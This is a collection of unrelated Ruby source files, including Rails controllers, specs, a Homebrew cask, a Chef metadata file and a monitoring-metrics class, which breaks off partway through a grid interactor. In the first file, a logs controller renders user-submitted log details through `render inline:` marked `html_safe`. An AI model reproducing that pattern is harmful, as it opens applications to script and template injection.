ab1cbcd0c2149b5e2d2a7df05ebd6fadb8c498b5 | 2,533 | module Effective
class LogsController < ApplicationController
skip_log_page_views
before_action :authenticate_user!, only: [:index, :show]
# This is a post from our Javascript
def create
EffectiveLogging.authorize!(self, :create, Effective::Log.new)
@log = Effective::Log.new.tap do |log|
log.message = log_params[:message]
log.status = EffectiveLogging.statuses.find { |status| status == log_params[:status] } || 'info'
log.user = EffectiveLogging.current_user || current_user
count = -1
Array((JSON.parse(log_params[:details]) rescue [])).flatten(1).each do |obj|
if obj.kind_of?(Hash)
obj.each { |k, v| log.details[k] = v if v.present? }
else
log.details["param_#{(count += 1)}"] = obj if obj.present?
end
end
# Match the referrer
log.details[:ip] ||= request.ip
log.details[:referrer] ||= request.referrer
log.details[:user_agent] ||= request.user_agent
log.save
end
render text: 'ok', status: :ok, json: {}
end
# This is the User index event
def index
EffectiveLogging.authorize!(self, :index, Effective::Log.new(user_id: current_user.id))
@datatable = EffectiveLogsDatatable.new(self, user_id: current_user.id)
end
# This is the User show event
def show
@log = Effective::Log.includes(:logs).find(params[:id])
EffectiveLogging.authorize!(self, :show, @log)
@log.next_log = Effective::Log.unscoped.order(:id).where(parent_id: @log.parent_id).where('id > ?', @log.id).first
@log.prev_log = Effective::Log.unscoped.order(:id).where(parent_id: @log.parent_id).where('id < ?', @log.id).last
@page_title = "Log ##{@log.to_param}"
if @log.logs.present?
@log.datatable = EffectiveLogsDatatable.new(self, log_id: @log.id)
end
end
def html_part
@log = Effective::Log.find(params[:id])
EffectiveLogging.authorize!(self, :show, @log)
value = @log.details[(params[:key] || '').to_sym].to_s
open = value.index('<!DOCTYPE html') || value.index('<html')
close = value.rindex('</html>') if open.present?
if open.present? && close.present?
render inline: value[open...(close+7)].html_safe
else
render inline: value.html_safe
end
end
private
# StrongParameters
def log_params
params.require(:effective_log).permit(:message, :status, :details)
end
end
end
| 30.154762 | 120 | 0.620608 |
edccb5a69e3ba6b438d72fdc2a3cd5ffe0172a38 | 4,898 | # wrap the action rendering for ActiveScaffold views
module ActionView #:nodoc:
class Base
# Adds two rendering options.
#
# ==render :super
#
# This syntax skips all template overrides and goes directly to the provided ActiveScaffold templates.
# Useful if you want to wrap an existing template. Just call super!
#
# ==render :active_scaffold => #{controller.to_s}, options = {}+
#
# Lets you embed an ActiveScaffold by referencing the controller where it's configured.
#
# You may specify options[:constraints] for the embedded scaffold. These constraints have three effects:
# * the scaffold's only displays records matching the constraint
# * all new records created will be assigned the constrained values
# * constrained columns will be hidden (they're pretty boring at this point)
#
# You may also specify options[:conditions] for the embedded scaffold. These only do 1/3 of what
# constraints do (they only limit search results). Any format accepted by ActiveRecord::Base.find is valid.
#
# Defining options[:label] lets you completely customize the list title for the embedded scaffold.
#
def render_with_active_scaffold(*args, &block)
if args.first == :super
options = args[1] || {}
options[:locals] ||= {}
known_extensions = [:erb, :rhtml, :rjs, :haml]
# search through call stack for a template file (normally matches on first caller)
# note that we can't use split(':').first because windoze boxen may have an extra colon to specify the drive letter. the
# solution is to count colons from the *right* of the string, not the left. see issue #299.
template_path = caller.find{|c| known_extensions.include?(c.split(':')[-3].split('.').last.to_sym) }
template = File.basename(template_path).split('.').first
active_scaffold_config.template_search_path.each do |active_scaffold_template_path|
active_scaffold_template_path = File.expand_path(active_scaffold_template_path, "app/views")
next if template_path.include? active_scaffold_template_path
path = File.join(active_scaffold_template_path, template)
extension = find_template_extension_from_handler(path) rescue 'rhtml' # the rescue is a hack for rails 1.2.x compat
template_file = "#{path}.#{extension}"
return render(:file => template_file, :locals => options[:locals], :use_full_path => false) if File.file? template_file
end
elsif args.first.is_a?(Hash) and args.first[:active_scaffold]
require 'digest/md5'
options = args.first
remote_controller = options[:active_scaffold]
constraints = options[:constraints]
conditions = options[:conditions]
eid = Digest::MD5.hexdigest(params[:controller] + remote_controller.to_s + constraints.to_s + conditions.to_s)
session["as:#{eid}"] = {:constraints => constraints, :conditions => conditions, :list => {:label => args.first[:label]}}
options[:params] ||= {}
options[:params].merge! :eid => eid
render_component :controller => remote_controller.to_s, :action => 'table', :params => options[:params]
else
render_without_active_scaffold(*args, &block)
end
end
alias_method :render_without_active_scaffold, :render
alias_method :render, :render_with_active_scaffold
def render_partial_with_active_scaffold(partial_path, local_assigns = nil, deprecated_local_assigns = nil) #:nodoc:
if self.controller.class.respond_to?(:uses_active_scaffold?) and self.controller.class.uses_active_scaffold?
partial_path = rewrite_partial_path_for_active_scaffold(partial_path)
end
render_partial_without_active_scaffold(partial_path, local_assigns, deprecated_local_assigns)
end
alias_method :render_partial_without_active_scaffold, :render_partial
alias_method :render_partial, :render_partial_with_active_scaffold
private
# FIXME hack, this has been removed in edge rails
def active_scaffold_partial_pieces(partial_path)
if partial_path.include?('/')
return File.dirname(partial_path), File.basename(partial_path)
else
return controller.class.controller_path, partial_path
end
end
def rewrite_partial_path_for_active_scaffold(partial_path)
path, partial_name = active_scaffold_partial_pieces(partial_path)
# test for the actual file
return partial_path if File.exists? File.join(path, "_#{partial_name}")
# check the ActiveScaffold-specific directories
active_scaffold_config.template_search_path.each do |template_path|
return File.join(template_path, partial_name) if File.exists? File.join(template_path, "_#{partial_name}")
end
return partial_path
end
end
end
| 48.98 | 129 | 0.707636 |
b96b5c21488cdad71ecbd620c733171d3276ae44 | 1,286 | require_relative "symbol_container.rb"
module Docks
module Containers
# Public: a container for Class symbols.
class Klass < Symbol
# Public: the type of symbols that should be encapsulated by this
# container. This is compared against a symbol's `symbol_type` to
# determine which container to use.
#
# Returns the type String.
def self.type; Docks::Types::Symbol::CLASS end
def public_methods; methods.select { |meth| meth.public? } end
def private_methods; methods.select { |meth| meth.private? } end
def static_methods; methods.select { |meth| meth.static? } end
def instance_methods; methods.reject { |meth| meth.static? } end
def public_properties; properties.select { |prop| prop.public? } end
def private_properties; properties.select { |prop| prop.private? } end
def static_properties; properties.select { |prop| prop.static? } end
def instance_properties; properties.reject { |prop| prop.static? } end
def instance_members; instance_methods + instance_properties end
def static_members; static_methods + static_properties end
def add_member(symbol)
static = symbol.static?
super
symbol.static = static
end
end
end
end
| 32.15 | 76 | 0.685848 |
281aa3a9b4d80b15363267a2c7450a521f9f9982 | 347 | cask "font-titan-one" do
version :latest
sha256 :no_check
# github.com/google/fonts/ was verified as official when first introduced to the cask
url "https://github.com/google/fonts/raw/master/ofl/titanone/TitanOne-Regular.ttf"
name "Titan One"
homepage "https://fonts.google.com/specimen/Titan+One"
font "TitanOne-Regular.ttf"
end
| 28.916667 | 87 | 0.74928 |
f7309bfbdf803e7c58008e2553f2dee424854778 | 2,500 | # Licensed to Elasticsearch B.V under one or more agreements.
# Elasticsearch B.V licenses this file to you under the Apache 2.0 License.
# See the LICENSE file in the project root for more information
require 'spec_helper'
describe 'client#exists' do
let(:expected_args) do
[
'HEAD',
url,
params,
nil
]
end
let(:params) do
{}
end
let(:url) do
'foo/bar/1'
end
let(:client) do
Class.new { include Elasticsearch::API }.new
end
it 'requires the :index argument' do
expect {
client.exists(type: 'bar', id: '1')
}.to raise_exception(ArgumentError)
end
it 'requires the :id argument' do
expect {
client.exists(index: 'foo', type: 'bar')
}.to raise_exception(ArgumentError)
end
context 'when the type parameter is not provided' do
let(:url) do
'foo/_all/1'
end
it 'performs the request' do
expect(client_double.exists(index: 'foo', id: '1')).to eq(true)
end
end
it 'is aliased to a predicated method' do
expect(client_double.exists?(index: 'foo', type: 'bar', id: '1')).to eq(true)
end
context 'when URL parameters are provided' do
let(:params) do
{ routing: 'abc123' }
end
it 'passes the parameters' do
expect(client_double.exists(index: 'foo', type: 'bar', id: '1', routing: 'abc123')).to eq(true)
end
end
context 'when the request needs to be URL-escaped' do
let(:url) do
'foo/bar%2Fbam/1'
end
it 'URL-escapes the characters' do
expect(client_double.exists(index: 'foo', type: 'bar/bam', id: '1')).to eq(true)
end
end
context 'when the response is 404' do
before do
expect(response_double).to receive(:status).and_return(404)
end
it 'returns false' do
expect(client_double.exists(index: 'foo', type: 'bar', id: '1')).to eq(false)
end
end
context 'when the response is 404 NotFound' do
before do
expect(response_double).to receive(:status).and_raise(StandardError.new('404 NotFound'))
end
it 'returns false' do
expect(client_double.exists(index: 'foo', type: 'bar', id: '1')).to eq(false)
end
end
context 'when there are other errors' do
before do
expect(response_double).to receive(:status).and_raise(StandardError)
end
it 'raises the error' do
expect {
client_double.exists(index: 'foo', type: 'bar', id: '1')
}.to raise_exception(StandardError)
end
end
end
| 21.929825 | 101 | 0.6328 |
015ef92ef30415fbe9d6932fca8c14f94cd6e344 | 6,842 | class ManageIQ::Providers::IbmCloud::VPC::CloudManager::MetricsCapture < ManageIQ::Providers::CloudManager::MetricsCapture
delegate :ext_management_system, :to => :target
VIM_STYLE_COUNTERS = {
"cpu_usage_rate_average" => {
:counter_key => "cpu_usage_rate_average",
:instance => "",
:capture_interval => "20",
:precision => 1,
:rollup => "average",
:unit_key => "percent",
:capture_interval_name => "realtime",
}.freeze,
"disk_usage_rate_average" => {
:counter_key => "disk_usage_rate_average",
:instance => "",
:capture_interval => "20",
:precision => 2,
:rollup => "average",
:unit_key => "kilobytespersecond",
:capture_interval_name => "realtime",
}.freeze,
"net_usage_rate_average" => {
:counter_key => "net_usage_rate_average",
:instance => "",
:capture_interval => "20",
:precision => 2,
:rollup => "average",
:unit_key => "kilobytespersecond",
:capture_interval_name => "realtime",
}.freeze,
"mem_usage_absolute_average" => {
:counter_key => "mem_usage_absolute_average",
:instance => "",
:capture_interval => "20",
:precision => 1,
:rollup => "average",
:unit_key => "percent",
:capture_interval_name => "realtime",
}.freeze,
}.freeze
def perf_collect_metrics(interval_name, start_time = nil, end_time = nil)
require 'rest-client'
raise _("No EMS defined") if ext_management_system.nil?
end_time ||= Time.zone.now
end_time = end_time.utc
start_time ||= end_time - 4.hours
start_time = start_time.utc
# Due to API limitations, the maximum period of time that can be sampled over is 36000 seconds (10 hours)
sample_window = (end_time.to_i - start_time.to_i) > 36_000 ? 36_000 : end_time.to_i - start_time.to_i
counters_by_mor = {target.ems_ref => VIM_STYLE_COUNTERS}
counter_values_by_mor = {target.ems_ref => {}}
metrics_endpoint = ext_management_system.endpoints.find_by(:role => "metrics")
raise _("Missing monitoring instance id") if metrics_endpoint.nil?
instance_id = metrics_endpoint.options["monitoring_instance_id"]
response = RestClient::Request.execute(
:method => :post,
:url => "https://#{ext_management_system.provider_region}.monitoring.cloud.ibm.com/api/data",
:headers => {
'Content-Type' => 'application/json',
'Authorization' => "Bearer #{iam_access_token}",
'IBMInstanceID' => instance_id
},
:payload => JSON.generate(get_metrics_query(target.name, sample_window))
)
data = JSON.parse(response.body)
dataset = consolidate_data(data["data"])
store_datapoints_with_interpolation!(end_time.to_i, dataset[:timestamps], dataset[:cpu_usage_rate_average], "cpu_usage_rate_average", counter_values_by_mor[target.ems_ref])
store_datapoints_with_interpolation!(end_time.to_i, dataset[:timestamps], dataset[:mem_usage_absolute_average], "mem_usage_absolute_average", counter_values_by_mor[target.ems_ref])
store_datapoints_with_interpolation!(end_time.to_i, dataset[:timestamps], dataset[:net_usage_rate_average], "net_usage_rate_average", counter_values_by_mor[target.ems_ref])
store_datapoints_with_interpolation!(end_time.to_i, dataset[:timestamps], dataset[:disk_usage_rate_average], "disk_usage_rate_average", counter_values_by_mor[target.ems_ref])
return counters_by_mor, counter_values_by_mor
rescue RestClient::ExceptionWithResponse => err
log_header = "[#{interval_name}] for: [#{target.class.name}], [#{target.id}], [#{target.name}]"
_log.error("#{log_header} Unhandled exception during perf data collection: [#{err}], class: [#{err.class}]")
_log.log_backtrace(err)
raise
end
def get_metrics_query(instance_name, sample_window)
# :last refers to the window of time in which data will be retrieved
# :sampling refers to the data resolution, data will be sampled every 60 seconds
{
:last => sample_window,
:sampling => 60,
:filter => "ibm_resource_name = '#{instance_name}'",
:metrics => [
{
:id => "ibm_is_instance_cpu_usage_percentage",
:aggregations => {
:time => "avg"
}
},
{
:id => "ibm_is_instance_memory_usage_percentage",
:aggregations => {
:time => "avg"
}
},
{
:id => "ibm_is_instance_network_in_bytes",
:aggregations => {
:time => "avg"
}
},
{
:id => "ibm_is_instance_network_out_bytes",
:aggregations => {
:time => "avg"
}
},
{
:id => "ibm_is_instance_volume_read_bytes",
:aggregations => {
:time => "avg"
}
},
{
:id => "ibm_is_instance_volume_write_bytes",
:aggregations => {
:time => "avg"
}
}
],
:dataSourceType => "host"
}
end
def iam_access_token
@iam_access_token ||= IBMCloudSdkCore::IAMTokenManager.new(:apikey => ext_management_system.authentication_key("default")).access_token
end
def store_datapoints_with_interpolation!(end_time, timestamps, datapoints, counter_key, counter_values_by_mor)
timestamps.zip(datapoints).each do |timestamp, datapoint|
counter_values_by_mor.store_path(Time.at(timestamp).utc, counter_key, datapoint)
# Interpolate data to expected 20 second intervals
[timestamp + 20, timestamp + 40].each do |interpolated_ts|
# Make sure we don't interpolate past the requested range
next if interpolated_ts > end_time
counter_values_by_mor.store_path(Time.at(interpolated_ts).utc, counter_key, datapoint)
end
end
end
def consolidate_data(datapoints)
dataset = {:timestamps => [], :cpu_usage_rate_average => [], :mem_usage_absolute_average => [], :net_usage_rate_average => [], :disk_usage_rate_average => []}
datapoints.each do |datapoint|
dataset[:timestamps] << datapoint["t"]
dataset[:cpu_usage_rate_average] << datapoint["d"][0]
dataset[:mem_usage_absolute_average] << datapoint["d"][1]
dataset[:net_usage_rate_average] << (datapoint["d"][2] + datapoint["d"][3]) / 1.kilobyte
dataset[:disk_usage_rate_average] << (datapoint["d"][4] + datapoint["d"][5]) / 1.kilobyte
end
dataset
end
end
| 40.485207 | 184 | 0.613125 |
6115adab449142b3bb7b7a451fb04d125bcab1ee | 209 | name 'demoapp'
maintainer 'naveed'
description 'Install demo app'
long_description IO.read(File.join(File.dirname(__FILE__), 'README.md'))
version '1.0'
depends 'apache2'
| 26.125 | 73 | 0.631579 |
e9869c2dd0d163bcab6bd2fa2ee54290fee7c0ee | 451 | # frozen_string_literal: true
FactoryBot.define do
factory :air_quality_log do
reading_time { Time.now.utc }
current_average { Faker::Number.between(from: 0, to: 100) }
ten_min_average { Faker::Number.between(from: 0, to: 100) }
thirty_min_average { Faker::Number.between(from: 0, to: 100) }
hour_average { Faker::Number.between(from: 0, to: 100) }
day_average { Faker::Number.between(from: 0, to: 100) }
home
end
end
| 32.214286 | 66 | 0.687361 |
ff0d6e1ced4056c72b57802a2d923aa8c665052d | 970 | # frozen_string_literal: true
class ApplicationController < ActionController::API
rescue_from Exception, :with => :rescue_global_exceptions
def rescue_global_exceptions(exception)
render_exception_response(exception)
end
def render_exception_response(exception)
if [ActionController::RoutingError, ActiveRecord::RecordNotFound].include?(exception.class)
render_404_response
elsif exception.class == ActiveRecord::RecordInvalid
render_422_response
else
render json: { error_code: 'Fidor001', error_message: "Something went Wrong" }, status: :internal_server_error
end
end
def render_404_response
render json: { error_code: 'Fidor002', error_message: "Not Found!" }, status: :not_found
end
def render_422_response
render json: { error_code: 'Fidor003', error_message: "Unprocessable entity"}, status: :unprocessable_entity
end
def pagination_params
{page: params[:page], per_page: 10}
end
end
| 29.393939 | 116 | 0.75567 |
e9c9796827e26aa842eeea88f974e2f3bd4d5c0a | 296 | module HealthSeven::V2_6
class Sad < ::HealthSeven::DataType
# Street or Mailing Address
attribute :street_or_mailing_address, St, position: "SAD.1"
# Street Name
attribute :street_name, St, position: "SAD.2"
# Dwelling Number
attribute :dwelling_number, St, position: "SAD.3"
end
end | 29.6 | 61 | 0.743243 |
185f5b6ce96c056ae2d3fcc888b1e6561f482080 | 376 | =begin
name : ex12.rb
author : laoling
email : <[email protected]>
------------------------------------
description:本实例我们演示的是ruby中
模块的基本使用。
------------------------------------
=end
require 'open-uri'
open("http://laoling.96.lt") do |f|
f.each_line{|line| p line}
puts f.base_uri
puts f.content_type
puts f.charset
puts f.content_encoding
puts f.last_modified
end | 18.8 | 36 | 0.587766 |
28a4353be4403bec61680c92a04c364fbcd7fed6 | 4,787 | # frozen_string_literal: true
require 'spec_helper'
describe SFRest::Role do
before :each do
@conn = SFRest.new "http://#{@mock_endpoint}", @mock_user, @mock_pass
end
describe '#get_role_id' do
roles_data = generate_roles_data
role_ary = roles_data['roles'].to_a.sample
role = { role_ary[0] => role_ary[1] }
roleid = role.keys.sample
rolename = role[roleid]
role_count = roles_data['count']
roles_data2 = generate_roles_data
role_ary = roles_data2['roles'].to_a.sample
role2 = { role_ary[0] => role_ary[1] }
roleid2 = role2.keys.sample
rolename2 = role2[roleid2]
role_count = roles_data2['count'] + role_count + 100
roles_data['count'] = role_count
roles_data2['count'] = role_count
it 'can get a role id' do
stub_factory '/api/v1/roles', roles_data.to_json
expect(@conn.role.get_role_id(rolename)).to eq roleid
end
it 'can make more than one request to get a role id' do
stub_factory '/api/v1/roles',
[roles_data.to_json,
roles_data2.to_json,
{ 'count' => role_count, 'roles' => [] }.to_json]
expect(@conn.role.get_role_id(rolename2)).to eq roleid2
end
it 'returns nothing on not found' do
stub_factory '/api/v1/roles', roles_data.to_json
expect(@conn.role.get_role_id('boogah123')).to eq nil
end
end
describe '#role_data_from_results' do
roles_data = generate_roles_data
role_ary = roles_data['roles'].to_a.sample
rolename = role_ary[1]
target_value = role_ary[0]
it 'can get a specific piece of role data' do
expect(@conn.role.role_data_from_results(roles_data, rolename)).to eq target_value
end
end
describe '#role_data' do
roles_data = generate_roles_data
role_ary = roles_data['roles'].to_a.sample
role = { 'role_id' => role_ary[0], 'role_name' => role_ary[1] }
roleid = role_ary[0]
it 'can get a role data' do
stub_factory "/api/v1/roles/#{roleid}", role.to_json
@conn.role.role_data(roleid).inspect
expect(@conn.role.role_data(roleid)['role_id']).to eq roleid
end
end
describe '#role_list' do
roles_data = generate_roles_data
role_count = roles_data['count']
roles = roles_data['roles']
roles_data2 = generate_roles_data
roles2 = roles_data2['roles']
role_count = roles_data2['count'] + role_count
roles_data['count'] = role_count
roles_data2['count'] = role_count
it 'can get a set of roles data' do
stub_factory '/api/v1/roles',
[roles_data.to_json,
roles_data2.to_json,
{ 'count' => role_count, 'roles' => [] }.to_json]
res = @conn.role.role_list
expect(res['count']).to eq role_count
expect(res['roles'].to_json).to eq roles.merge(roles2).to_json
end
it 'returns the error message from the api' do
stub_factory '/api/v1/roles', { 'message' => 'Danger Will Robinson!' }.to_json
res = @conn.role.role_list
expect(res['message']).to eq 'Danger Will Robinson!'
end
end
describe '#create_role' do
path = '/api/v1/roles'
it 'calls the create role endpoint' do
stub_request(:any, /.*#{@mock_endpoint}.*#{path}/)
.with(headers: @mock_headers)
.to_return { |request| { body: { uri: request.uri, body: request.body, method: request.method }.to_json } }
rname = SecureRandom.urlsafe_base64
res = @conn.role.create_role rname
uri = URI res['uri']
expect(uri.path).to eq path
expect(JSON(res['body'])['name']).to eq rname
expect(res['method']).to eq 'post'
end
end
describe '#update_role' do
path = '/api/v1/roles'
it 'calls the update role endpoint' do
stub_request(:any, /.*#{@mock_endpoint}.*#{path}/)
.with(headers: @mock_headers)
.to_return { |request| { body: { uri: request.uri, body: request.body, method: request.method }.to_json } }
rid = rand 1000
rname = SecureRandom.urlsafe_base64
res = @conn.role.update_role rid, rname
uri = URI res['uri']
expect(uri.path).to eq "#{path}/#{rid}/update"
expect(JSON(res['body'])['new_name']).to eq rname
expect(res['method']).to eq 'put'
end
end
describe '#delete_role' do
path = '/api/v1/roles'
it 'calls the delete role endpoint' do
stub_request(:any, /.*#{@mock_endpoint}.*#{path}/)
.with(headers: @mock_headers)
.to_return { |request| { body: { uri: request.uri, body: request.body, method: request.method }.to_json } }
rid = rand 1000
res = @conn.role.delete_role rid
uri = URI res['uri']
expect(uri.path).to eq "#{path}/#{rid}"
expect(res['method']).to eq 'delete'
end
end
end
| 34.438849 | 115 | 0.632338 |
38f395acf3b43f54e8c2602408f4e39c088be838 | 149 | if ARGV.length == 0
puts "No parameters"
elsif ARGV.length == 1
puts "Parameters is " + ARGV[0]
else
puts "Too many parameters"
end | 21.285714 | 36 | 0.630872 |
626284d69c304200d08ebb4aef703551031268a8 | 1,203 | class OrganisationsController < ApplicationController
def index
@organisations = Organisation.all
end
def show
@organisation = organisation
end
def new
@organisation = Organisation.new
end
def create
@organisation = Organisation.new(organisation_params)
if @organisation.save
redirect_to organisations_path
else
render :new
end
end
def edit
@organisation = organisation
end
def update
@organisation = organisation
if @organisation.update_attributes(organisation_params)
redirect_to organisations_path
else
render :edit
end
end
def destroy
organisation.destroy
redirect_to organisations_path
end
private
def organisation
Organisation.find(params[:id])
end
def organisation_params
params.require(:organisation).permit(:name,
:organisation_type,
:tel,
:address,
:postcode,
:email,
:mobile)
end
end
| 20.05 | 64 | 0.551953 |
01ebf64e9e5bfe8ee88ced190856df136d174441 | 590 | class News < ActiveRecord::Base
validates :title, presence: true
validates :body, presence: true, length: { minimum: 20 }
validates :short, presence: true
belongs_to :edition
validates :edition, presence: true
before_validation do
self.short = ActionController::Base.helpers.strip_tags(self.body)[0..125]
end
rails_admin do
list do
field :title
field :short
field :pinned
field :created_at
field :edition
end
edit do
field :title
field :pinned
field :edition
field :body, :ck_editor
end
end
end
| 20.344828 | 77 | 0.657627 |
bf3774b0904292f0dac0c83d77fa8c71dbb1291a | 233 | class CreateNotes < ActiveRecord::Migration[6.0]
def change
create_table :notes do |t|
t.references :color, null: false, foreign_key: true
t.string :title
t.text :content
t.timestamps
end
end
end
| 19.416667 | 57 | 0.652361 |
62cd90d6c86c4ad29d1e10f9df3064e503a81269 | 1,390 | require_relative "boot"
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
# require "sprockets/railtie"
require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module BookStore
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 6.1
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Only loads a smaller set of middleware suitable for API only apps.
# Middleware like session, flash, cookies can be added back manually.
# Skip views, helpers and assets when generating a new resource.
# config.autoloader = :classic
config.api_only = true
end
end
| 33.095238 | 79 | 0.760432 |
38f7ba338cc2070e6df6726c0048b18670726a9c | 13,792 | # frozen_string_literal: true
module DevelopmentApp
class GridInteractor < BaseInteractor
def debug_list_grids
path = File.join(ENV['ROOT'], '/grid_definitions/lists/')
ymlfiles = File.join(path, '**', '*.yml')
yml_list = Dir.glob(ymlfiles).sort
rows = []
yml_list.each do |yml|
rows << load_yml(yml)
end
{
columnDefs: list_cols,
rowDefs: rows.flatten
}
end
def list_definition(file)
load_list_file(file)
end
def grid_page_controls(file)
row_defs = page_control_row_defs(file)
{
columnDefs: page_control_col_defs(file),
rowDefs: row_defs
}
end
def grid_multiselects(file)
row_defs = multiselect_row_defs(file)
{
columnDefs: multiselect_col_defs,
rowDefs: row_defs
}
end
def grid_conditions(file)
row_defs = condition_row_defs(file)
{
columnDefs: condition_col_defs,
rowDefs: row_defs
}
end
def grid_actions(file)
row_defs = action_row_defs(file)
{
columnDefs: action_col_defs,
rowDefs: row_defs
}
end
def page_control(file, index)
page_controls = load_list_file(file)[:page_controls]
page_controls[index].merge(list_file: file, index: index)
end
def update_page_control(params)
file = params[:list_file]
index = params[:index].to_i
list = load_list_file(file)
page_control = list[:page_controls][index]
page_control[:text] = params[:text]
list[:page_controls][index] = page_control
save_list_file(file, list)
success_response("Updated #{params[:text]}",
page_control)
end
private
def file_path(file)
File.join(list_path, "#{file}.yml")
end
def list_path
Pathname.new('grid_definitions/lists')
end
def load_list_file(file)
YAML.load(File.read(file_path(file))) # rubocop: disable Security/YAMLLoad
end
def save_list_file(file, list)
File.open(file_path(file), 'w') { |f| f << list.to_yaml }
end
def page_control_col_defs(file)
action_cols = [{ text: 'edit', icon: 'edit', url: "/development/grids/grid_page_controls/#{file}/$col0$", col0: 'id', popup: true, title: 'Edit page control' }]
[{ headerName: '', pinned: 'left',
width: 60,
suppressMenu: true, suppressSorting: true, suppressMovable: true,
suppressFilter: true, enableRowGroup: false, enablePivot: false,
enableValue: false, suppressCsvExport: true, suppressColumnsToolPanel: true,
suppressFiltersToolPanel: true,
valueGetter: action_cols.to_json.to_s,
colId: 'action_links',
cellRenderer: 'crossbeamsGridFormatters.menuActionsRenderer' },
{ headerName: 'Text', field: 'text', width: 300 },
{ headerName: 'Control Type', field: 'control_type' },
{ headerName: 'Style', field: 'style' },
{ headerName: 'Behaviour', field: 'behaviour' },
{ headerName: 'URL', field: 'url', width: 500 },
{ headerName: 'Index', field: 'id', hide: true }]
end
def page_control_row_defs(file)
rows = []
(load_list_file(file)[:page_controls] || []).each_with_index do |page_control, index|
control = OpenStruct.new(page_control)
rows << {
text: control.text,
control_type: control.control_type,
style: control.style,
behaviour: control.behaviour,
url: control.url,
id: index
}
end
rows
end
def multiselect_col_defs
action_cols = [{ text: 'edit', icon: 'edit', url: '/development/grids/lists/edit/$col0$', col0: 'file' }]
[{ headerName: '', pinned: 'left',
width: 60,
suppressMenu: true, suppressSorting: true, suppressMovable: true,
suppressFilter: true, enableRowGroup: false, enablePivot: false,
enableValue: false, suppressCsvExport: true, suppressColumnsToolPanel: true,
suppressFiltersToolPanel: true,
valueGetter: action_cols.to_json.to_s,
colId: 'action_links',
cellRenderer: 'crossbeamsGridFormatters.menuActionsRenderer' },
{ headerName: 'Key', field: 'key' },
{ headerName: 'URL', field: 'url', width: 500 },
{ headerName: 'Preselect', field: 'preselect', width: 500 },
{ headerName: 'Section Caption', field: 'section_caption', width: 500 },
{
headerName: 'Can clear?',
field: 'can_be_cleared',
cellRenderer: 'crossbeamsGridFormatters.booleanFormatter',
cellClass: 'grid-boolean-column',
width: 100
},
{ headerName: 'Save method', field: 'multiselect_save_method' }]
end
def multiselect_row_defs(file)
rows = []
(load_list_file(file)[:multiselect] || []).each do |key, value|
control = OpenStruct.new(value)
rows << {
key: key,
url: control.url,
preselect: control.preselect,
section_caption: control.section_caption,
can_be_cleared: control.can_be_cleared,
multiselect_save_method: control.multiselect_save_method
}
end
rows
end
def condition_col_defs
action_cols = [{ text: 'edit', icon: 'edit', url: '/development/grids/lists/edit/$col0$', col0: 'file' }]
[{ headerName: '', pinned: 'left',
width: 60,
suppressMenu: true, suppressSorting: true, suppressMovable: true,
suppressFilter: true, enableRowGroup: false, enablePivot: false,
enableValue: false, suppressCsvExport: true, suppressColumnsToolPanel: true,
suppressFiltersToolPanel: true,
valueGetter: action_cols.to_json.to_s,
colId: 'action_links',
cellRenderer: 'crossbeamsGridFormatters.menuActionsRenderer' },
{ headerName: 'Key', field: 'key' },
{ headerName: 'Column', field: 'col', width: 300 },
{ headerName: 'Operator', field: 'op' },
{ headerName: 'Value definition', field: 'val', width: 500 }]
end
def condition_row_defs(file)
rows = []
(load_list_file(file)[:conditions] || []).each do |key, value|
value.each do |condition|
control = OpenStruct.new(condition)
rows << {
key: key,
col: control.col,
op: control.op,
val: control.val
}
end
end
rows
end
def action_col_defs
action_cols = [{ text: 'edit', icon: 'edit', url: '/development/grids/lists/edit/$col0$', col0: 'file' }]
[{ headerName: '', pinned: 'left',
width: 60,
suppressMenu: true, suppressSorting: true, suppressMovable: true,
suppressFilter: true, enableRowGroup: false, enablePivot: false,
enableValue: false, suppressCsvExport: true, suppressColumnsToolPanel: true,
suppressFiltersToolPanel: true,
valueGetter: action_cols.to_json.to_s,
colId: 'action_links',
cellRenderer: 'crossbeamsGridFormatters.menuActionsRenderer' },
{
headerName: 'Separator?',
field: 'is_separator',
cellRenderer: 'crossbeamsGridFormatters.booleanFormatter',
cellClass: 'grid-boolean-column',
width: 100
},
{ headerName: 'Text', field: 'text', width: 300 },
{ headerName: 'Icon', field: 'icon' },
{ headerName: 'Title', field: 'title' },
{ headerName: 'Title Field', field: 'title_field' },
{
headerName: 'Popup',
field: 'popup',
cellRenderer: 'crossbeamsGridFormatters.booleanFormatter',
cellClass: 'grid-boolean-column',
width: 100
},
{
headerName: 'Is Delete',
field: 'is_delete',
cellRenderer: 'crossbeamsGridFormatters.booleanFormatter',
cellClass: 'grid-boolean-column',
width: 100
},
{ headerName: 'Auth program', field: 'auth_program' },
{ headerName: 'Auth permission', field: 'auth_permission' },
{ headerName: 'Hide if present', field: 'hide_if_present' },
{ headerName: 'Hide if null', field: 'hide_if_null' },
{ headerName: 'Hide if true', field: 'hide_if_true' },
{ headerName: 'Hide if false', field: 'hide_if_false' },
{ headerName: 'URL', field: 'url', width: 500 }]
end
def action_row_defs(file) # rubocop:disable Metrics/AbcSize
rows = []
(load_list_file(file)[:actions] || []).each do |action|
if action[:separator]
rows << { is_separator: true }
else
control = OpenStruct.new(action)
rows << {
text: control.text,
icon: control.icon,
title: control.title,
title_field: control.title_field,
popup: control.popup,
is_delete: control.is_delete,
auth_program: (control.auth || {})[:program],
auth_permission: (control.auth || {})[:permission],
hide_if_present: control.hide_if_present,
hide_if_null: control.hide_if_null,
hide_if_true: control.hide_if_true,
hide_if_false: control.hide_if_false,
url: control.url
}
end
end
rows
end
def list_col_defs
action_cols = [{ text: 'edit', icon: 'edit', url: '/development/grids/lists/edit/$col0$', col0: 'file' }]
[{ headerName: '', pinned: 'left',
width: 60,
suppressMenu: true, suppressSorting: true, suppressMovable: true,
suppressFilter: true, enableRowGroup: false, enablePivot: false,
enableValue: false, suppressCsvExport: true, suppressColumnsToolPanel: true,
suppressFiltersToolPanel: true,
valueGetter: action_cols.to_json.to_s,
colId: 'action_links',
